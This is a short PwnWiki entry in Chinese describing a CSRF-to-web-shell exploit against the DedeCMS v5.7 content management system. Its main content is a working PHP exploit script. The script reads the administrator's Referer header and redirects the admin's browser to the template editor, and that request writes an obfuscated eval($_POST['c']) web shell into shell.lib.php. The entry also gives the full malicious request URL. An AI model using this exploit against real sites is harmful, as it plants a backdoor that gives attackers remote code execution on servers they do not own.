DedeCMS v5.7 友情鏈接CSRF GetShell漏洞

From PwnWiki
Other languages:
Chinese • ‎中文(台灣)‎

漏洞利用

Apply.png


Edit.png


dedecms_csrf.php 的內容如下:


<?php
$referer = $_SERVER['HTTP_REFERER'];
$dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路径
$muma = '<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.';'.'?'.'>';
$exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php';
$url = $dede_login.$exp;
header("location: ".$url);
exit();


管理員:


Link list.png


由於友鏈中使用了header 跳轉,所以結果其實是訪問了

http://localhost/DedeCMS/DedeCMS-V5.7-GBK-SP2-20170315/uploads/dede/tpl.php?action=savetagfile&actiondo=addnewtag&content=%3C?@eval($_POST[%27c%27]);?%3E&filename=shell.lib.php

請求。


shell.lib.php:

Shell.png